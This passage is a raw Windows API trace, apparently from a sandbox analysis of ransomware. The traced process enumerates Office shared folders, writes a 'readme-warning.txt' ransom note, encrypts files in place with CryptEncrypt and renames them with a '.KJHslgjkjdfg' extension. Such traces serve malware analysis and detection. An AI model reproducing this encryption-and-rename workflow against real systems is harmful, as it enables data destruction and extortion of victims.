nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0144.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0144.181] GetProcessHeap () returned 0x2a0000 [0144.181] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.181] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.181] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0144.181] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.181] GetProcessHeap () returned 0x2a0000 [0144.181] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.182] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.182] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0144.182] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.182] GetProcessHeap () returned 0x2a0000 [0144.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0144.182] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.182] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0144.182] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.182] GetProcessHeap () returned 0x2a0000 [0144.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.182] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.182] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0144.182] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.182] GetProcessHeap () returned 0x2a0000 [0144.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.182] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.182] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ec88 | out: pbData=0x2c1640, pdwDataLen=0x290ec88) returned 1 [0144.182] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.182] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0144.182] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0144.182] RegCloseKey (hKey=0x114) returned 0x0 [0144.182] GetProcessHeap () returned 0x2a0000 [0144.182] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.182] GetProcessHeap () returned 0x2a0000 [0144.183] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.183] GetProcessHeap () returned 0x2a0000 [0144.183] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.183] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.183] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea5c | out: pbData=0x2c1640, pdwDataLen=0x290ea5c) returned 1 [0144.183] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.183] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.183] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.183] GetProcessHeap () returned 0x2a0000 [0144.183] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.183] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.183] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.183] GetProcessHeap () returned 0x2a0000 [0144.183] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f5720 [0144.183] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\readme-warning.txt") returned 74 [0144.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0144.185] WriteFile (in: hFile=0x114, lpBuffer=0x2f5720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f5720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0144.188] CloseHandle (hObject=0x114) returned 1 [0144.188] GetProcessHeap () returned 0x2a0000 [0144.188] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0144.188] GetProcessHeap () returned 0x2a0000 [0144.188] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5720 | out: hHeap=0x2a0000) returned 1 [0144.188] GetProcessHeap () returned 0x2a0000 [0144.188] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.188] GetProcessHeap () returned 0x2a0000 [0144.188] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.188] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0144.188] GetProcessHeap () returned 0x2a0000 [0144.189] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0144.189] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0144.189] GetProcessHeap () returned 0x2a0000 [0144.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xb0) returned 0x2ed148 [0144.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0144.203] GetProcessHeap () returned 0x2a0000 [0144.204] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0144.204] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0144.204] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0144.204] GetProcessHeap () returned 0x2a0000 [0144.204] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2b2) returned 0x2c7d48 [0144.204] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0144.204] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0144.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0144.205] GetProcessHeap () returned 0x2a0000 [0144.205] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.205] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0144.205] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0144.207] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.207] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.207] GetProcessHeap () returned 0x2a0000 [0144.207] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x70) returned 0x2c8008 [0144.207] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c8008*, pdwDataLen=0x290f258*=0x70, dwBufLen=0x70 | out: pbData=0x2c8008*, pdwDataLen=0x290f258*=0x70) returned 1 [0144.207] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.207] WriteFile (in: hFile=0x114, lpBuffer=0x2c8008*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c8008*, lpNumberOfBytesWritten=0x290f270*=0x70, lpOverlapped=0x0) returned 1 [0144.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0144.207] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0144.207] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0144.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0144.208] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0144.208] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.208] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.208] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d7e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d7e, lpOverlapped=0x0) returned 1 [0144.209] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d80) returned 1 [0144.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.209] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d80, lpOverlapped=0x0) returned 1 [0144.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.209] SetEndOfFile (hFile=0x114) returned 1 [0144.211] GetProcessHeap () returned 0x2a0000 [0144.211] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8008 | out: hHeap=0x2a0000) returned 1 [0144.211] GetProcessHeap () returned 0x2a0000 [0144.211] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.kjhslgjkjdfg")) returned 1 [0144.217] CloseHandle (hObject=0x114) returned 1 [0144.217] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0144.217] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0144.217] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0144.217] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0144.217] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0144.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0144.235] GetProcessHeap () returned 0x2a0000 [0144.235] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.235] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.236] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0144.236] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0144.238] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.238] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.238] GetProcessHeap () returned 0x2a0000 [0144.238] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.238] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0144.238] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.238] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0144.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0144.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0144.239] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0144.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0144.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0144.239] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.239] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, 